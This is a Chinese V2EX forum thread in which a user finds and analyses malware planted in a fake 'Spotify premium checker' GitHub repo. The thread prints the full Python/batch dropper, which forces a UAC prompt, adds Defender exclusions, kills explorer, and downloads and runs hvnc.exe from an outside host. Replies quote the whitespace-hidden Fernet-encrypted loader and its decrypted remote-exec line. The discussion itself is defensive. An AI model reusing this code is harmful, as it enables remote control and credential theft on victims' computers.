• 请不要在回答技术问题时复制粘贴 AI 生成的内容
Jimmyisme
V2EX  ›  程序员

开机的时候自动用 vscode 打开了一段代码。ChatGPT 说是病毒??

  •  8
     
  •   Jimmyisme · Feb 28, 2024 · 10140 views
    This topic created in 988 days ago, the information mentioned may be changed or developed.

    代码传网盘了,有没有大佬能看看怎么办😭 https://www.alipan.com/s/ysPCcqoe5TT

    第一个文件名是 hvnc.py

    import os
    import subprocess
    script = """
    import os
    
    def create_and_run_bat_script():
        bat_script_content = '''
    @echo off
    set "filePath=%appdata%\Microsoft\emptyfile20947.txt"
    :: BatchGotAdmin
    :-------------------------------------
    REM  --> Check for permissions
        IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
    >nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
    ) ELSE (
    >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
    )
    
    REM --> If error flag set, we do not have admin.
    if '%errorlevel%' NEQ '0' (
        echo Requesting administrative privileges...
        goto UACPrompt
    ) else ( goto gotAdmin )
    
    :UACPrompt
        echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
        set params= %*
        echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params:"=""%", "", "runas", 1 >> "%temp%\getadmin.vbs"
    
        "%temp%\getadmin.vbs"
        del "%temp%\getadmin.vbs"
        exit /B
    
    :gotAdmin
        pushd "%CD%"
        CD /D "%~dp0"
    :--------------------------------------    
    
    mkdir "C:\Windows\WinEmptyfold"
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '.exe'"
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '.dll'"
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension 'exe'"
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension 'dll'"
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:'"
    
    set "temp_file=%TEMP%\hahabonk.exe"
    
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://bananasquad.ru/hvnc.exe', '%temp_file%')"
    
    start "" "%temp_file%"
    del /q "%appdata%\Microsoft\runpython.py"
    '''
    
        temp_folder = os.environ.get('TEMP', '')
        if temp_folder:
            bat_script_path = os.path.join(temp_folder, 'temp_script.bat')
            with open(bat_script_path, 'w') as bat_file:
                bat_file.write(bat_script_content)
            os.system(bat_script_path)
        else:
            print("Failed to get the TEMP folder path.")
    
    if os.name == 'nt':
        folder_path = r"C:\Windows\WinEmptyfold"
        if os.path.exists(folder_path):
            exit()
        else:
            os.system('timeout 600')
            os.system('taskkill /f /im explorer.exe')
            create_and_run_bat_script()
            while True:
                os.system('timeout 5')
                if os.path.exists(folder_path):
                    os.system('start explorer.exe')
                    break
                else:
                    create_and_run_bat_script()
    """
    
    appdata = os.environ.get('APPDATA', '')
    if appdata:
        # create microsoft folder if it doesn't exist
        microsoft_folder = os.path.join(appdata, 'Microsoft')
        if not os.path.exists(microsoft_folder):
            os.mkdir(microsoft_folder)
        script_path = os.path.join(appdata, 'Microsoft', 'runpython.py')
        with open(script_path, 'w') as script_file:
            script_file.write(script)
    subprocess.Popen(['python', script_path], creationflags=subprocess.CREATE_NO_WINDOW)
    
    
    Supplement 1  ·  Feb 28, 2024
    喜大普奔,恶意 repo 已经 404 了
    62 replies  •  2024-02-29 17:11:33 +08:00
    Jimmyisme
    Jimmyisme
    OP
    Feb 28, 2024
    1
    目前发现是在自启动中,但是我设置了 py 文件用 vscode 。可能就没有运行。
    ![]( )
    Jimmyisme
    Jimmyisme
    OP
    Feb 28, 2024
    2
    删除文件再 ctrl+z 撤回删除操作就被火绒拦截了。不是很懂为什么之前没有被发现。目前来看应该没什么大碍

    ![]( )
    WoneFrank
    WoneFrank
    Feb 28, 2024❤️1
    3
    一看就病毒啊,有突破 UAC ,还去这拉了个 exe: https://bananasquad.ru/hvnc.exe 。
    可以看 virustotal: https://www.virustotal.com/gui/domain/bananasquad.ru/relations
    AoEiuV020JP
    AoEiuV020JP
    Feb 28, 2024❤️2
    4
    有点搞笑了,投 python 病毒也不管电脑上有没有 python 环境,直接默认编辑器打开了,
    Jimmyisme
    Jimmyisme
    OP
    Feb 28, 2024
    6
    @WoneFrank 感谢,这方面的内容没有了解过,我看看有没有这个病毒的分析
    Jimmyisme
    Jimmyisme
    OP
    Feb 28, 2024
    7
    @AoEiuV020JP 幸好我默认设置.py 是用 vscode 打开。我发现我默认的 python 环境确实装了他这个脚本要运行的 fernet 库。😱
    Jimmyisme
    Jimmyisme
    OP
    Feb 28, 2024
    8
    @Jimmyisme #5
    这段代码劫持了剪贴板,然后这是我昨天遇到的问题。估计以及中招了
    ![]( )
    Jimmyisme
    Jimmyisme
    OP
    Feb 28, 2024❤️21
    9
    我知道是哪里来的了,真 nm 脑残啊
    https://github.com/maqrtineLzjulyie/spotify-check-premium/blob/main/main.py

    第一行的最后面。还有 nm 一段代码。艹了
    之前刷到在舍友的 for 循环后面偷偷加分号,乐子人终成乐子。妈的
    MidGap
    MidGap
    Feb 28, 2024
    10
    @Jimmyisme #9 6666666666666666666666666
    dier
    dier
    Feb 28, 2024
    11
    @Jimmyisme #9 这思路也是牛 B 。我点进去看了几眼都没看到问题,无意发现有水平滚动条,还那么长。。。
    cT4035xGkTUJ0Ce7
    cT4035xGkTUJ0Ce7
    Feb 28, 2024 via Android
    12
    吓得我赶紧把自动折行打开
    chackchackGO
    chackchackGO
    Feb 28, 2024
    13
    @Jimmyisme 为什么这个仓库有 4.5k 的 fork? 我没看明白
    morgan1freeman
    morgan1freeman
    Feb 28, 2024
    14
    @Jimmyisme #9 开源 也不是完全安全,还是得审核代码,问题太多了
    HFX3389
    HFX3389
    Feb 28, 2024
    15
    @Jimmyisme #8 说不定是比特币地址:D
    wkla
    wkla
    Feb 28, 2024
    16
    @Jimmyisme #9 Github 上老多这种装成盗版的病毒了。😂
    nekomiao
    nekomiao
    Feb 28, 2024❤️1
    17
    @chackchackGO fork 和 star 差这么多,明显是刷的
    inhzus
    inhzus
    Feb 28, 2024
    18
    速速打开 toggle word wrap
    Link99
    Link99
    Feb 28, 2024
    19
    牛逼 这干嘛用的啊 Fork 4.5k Star 6 ?
    Jimmyisme
    Jimmyisme
    OP
    Feb 28, 2024 via Android
    20
    @chackchackGO #13 到处害人
    ghjh
    ghjh
    Feb 28, 2024 via Android
    21
    @Jimmyisme 好家伙,我还寻思呢,咋手机 github 打开就一行 import os
    shinession
    shinession
    Feb 28, 2024
    22
    学到了一招, 还能这么玩的
    flyqie
    flyqie
    Feb 28, 2024 via Android
    23
    感谢分享,涨知识了,已向 github 举报
    xixixicat
    xixixicat
    Feb 28, 2024
    24
    @Jimmyisme 不是,这思路也太牛逼了吧
    wangkun025
    wangkun025
    Feb 28, 2024
    25
    已经举报给 GitHub 了。
    Les1ie
    Les1ie
    Feb 28, 2024
    26
    恶意代码部分:
    ```
    import os ;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'yKpskffUwlXAGQtWJiXILDemLKDod4v8DpfKK3ClcHo=').decrypt(b'gAAAAABlv3l_ShNj4Sta_rsNaa9OI2cs0EyIBDdLPw6x4VVSxY9AYPGhGcOClTKrp_TBol_GE50_2GWBH3IfwUsOTJpM5PvjUgD939S4E75PGnNWs_qq9kk1mbhzcEuOumsWSm28OPbC6vs4CjgTliTihSbRedGIUvizU9JdEpFIQfkFU6sbmpBFR9kzI8ttiIoFqxLvEriZ6tvIumAuq_s-A65rXKflng=='))
    import requests
    import json
    ```
    利用超长的空格欺骗没有开启自动换行的编辑器,的确是未设想的添加后门的方式。这个方法究极简单却有用,稍有不慎我也可能中招了。
    CivAx
    CivAx
    Feb 28, 2024
    27
    这个藏的有意思,已经向 github report-abuse 了。
    noahlias
    noahlias
    Feb 28, 2024
    28
    看了一下 点开它的 fork 都是机器人
    都是 2 周前注册的 而且他们的 repo 都有这段代码哈哈 应该都是钓鱼的
    ohmyhaha
    ohmyhaha
    Feb 28, 2024
    29
    hvnc....按理解这个是远控用的呢
    HashV2
    HashV2
    Feb 28, 2024
    30
    @Jimmyisme #9 真的 6 啊 要是我估计也中招了
    Jimmyisme
    Jimmyisme
    OP
    Feb 28, 2024
    31
    ohmyhaha
    ohmyhaha
    Feb 28, 2024
    32
    @Jimmyisme 是的。在另外一个隐藏桌面。这样你直接用你的浏览器登录你已经登录的网站或者应用。有效绕过 OPT 和风控
    straydragon
    straydragon
    Feb 28, 2024
    33
    已举报, 这个思路很简单也很容易中招, 吓得直接开启自动折行了
    Rickkkkkkk
    Rickkkkkkk
    Feb 28, 2024
    34
    (这下知道代码规范里一行不能过长的道理了吧
    hikarugo
    hikarugo
    Feb 28, 2024
    35
    公共场合投毒啊,这些孙子
    NEPv5NA6R8R3Y11u
    NEPv5NA6R8R3Y11u
    Feb 28, 2024
    36
    加密部分代码:
    exec(requests.get('https://bananasquad.ru/paste').text.replace('<pre>','').replace('</pre>',''))

    从这个网站获取代码去除前后标签后执行
    NEPv5NA6R8R3Y11u
    NEPv5NA6R8R3Y11u
    Feb 28, 2024
    37


    https://paste.org.cn/ODrRp80p0c

    网站内容,会再次获取一个非常长的代码

    https://github.com/azgaresncf/bananasquad
    NEPv5NA6R8R3Y11u
    NEPv5NA6R8R3Y11u
    Feb 28, 2024
    38
    这个人应该是制作脚本的人,看描述是不像是恶性攻击,
    machenme
    machenme
    Feb 28, 2024
    39
    大概意思是先检测系统。如果是 NT 就执行,然后关闭 UAC ,获取管理员权限,然后下载一个那个 hvnc.exe 刚点进去被火绒杀了。建议删了吧
    病毒名称:TrojanSpy/MSIL.Stealer.dr
    病毒 ID:D7EE101A6EEFC320
    SoyaDokio
    SoyaDokio
    Feb 28, 2024
    40
    reported the repository.
    Jimmyisme
    Jimmyisme
    OP
    Feb 28, 2024
    41
    @Oohuo #38 这个人应该也是中毒了,给了一个删除的教程。
    kaleido
    kaleido
    Feb 28, 2024
    42
    楼上投诉好像生效了,fork 只有个位数了
    wpyfawkes
    wpyfawkes
    Feb 28, 2024
    43
    话说上个月到官网下 sqlmap 里面有个文件也被卡巴斯基报毒了
    makerbi
    makerbi
    Feb 28, 2024
    44
    我已经 report 了,Github 刚刚给我回复处理了
    qq316107934
    qq316107934
    Feb 28, 2024
    45
    report 得到答复了,不仅 repo 没了,号都被扬了,好
    Jimmyisme
    Jimmyisme
    OP
    Feb 28, 2024
    46
    这个病毒,我估计是我自己手贱,UAC 点了 yes 。这种情况下,杀毒软件是不是已经没有用了?还是说只是火绒太拉。已经准备考虑付费卡巴斯基了
    Levox
    Levox
    Feb 28, 2024
    47
    重装吧 doge
    Jimmyisme
    Jimmyisme
    OP
    Feb 28, 2024
    48
    @Levox 代码开源的,看得到操作了什么。删干净应该就可以了。
    silencil
    silencil
    Feb 28, 2024
    49
    这是什么项目?
    Levox
    Levox
    Feb 28, 2024
    50
    @Jimmyisme 不是说有 exe ?逆下 exe ?
    Jimmyisme
    Jimmyisme
    OP
    Feb 28, 2024
    51
    @Levox #50 exe 是 hvnc ,也是一个开源项目😂
    emma3
    emma3
    Feb 28, 2024
    52
    https://bananasquad.ru/hvnc.exe
    这个.exe 是什么东西?
    nagori
    nagori
    Feb 28, 2024
    53
    来晚了项目 404 了,github 上这个项目是干啥的?
    thinkm
    thinkm
    Feb 28, 2024❤️4
    54
    这个帖子我都打不开,关了杀软才能打开
    wangkun025
    wangkun025
    Feb 28, 2024
    55
    @pujx233 检查是不是 spotify 的 premium 账号
    jeffson
    jeffson
    Feb 28, 2024 via Android
    56
    666
    studyingss
    studyingss
    Feb 29, 2024
    57
    @thinkm 什么杀软这么强?
    CivAx
    CivAx
    Feb 29, 2024
    58
    @CivAx #27 收到 Github 邮件,已经 Take down 了。
    thinkm
    thinkm
    Feb 29, 2024
    59
    @studyingss 卡巴斯基
    EeveeRibbon
    EeveeRibbon
    Feb 29, 2024 via Android
    60
    卡巴斯基连网页都打不开,我用的远控没法关掉保护,只好拿手机看的帖子
    Jimmyisme
    Jimmyisme
    OP
    Feb 29, 2024
    61
    @qiaofanxing 刚买了半年的卡巴斯基。感觉弄得电脑好卡,之前软件都是秒开,现在都要等 2 秒以上。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   4609 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 137ms · UTC 03:39 · PVG 11:39 · LAX 19:39 · JFK 22:39
    ♥ Do have faith in what you're doing.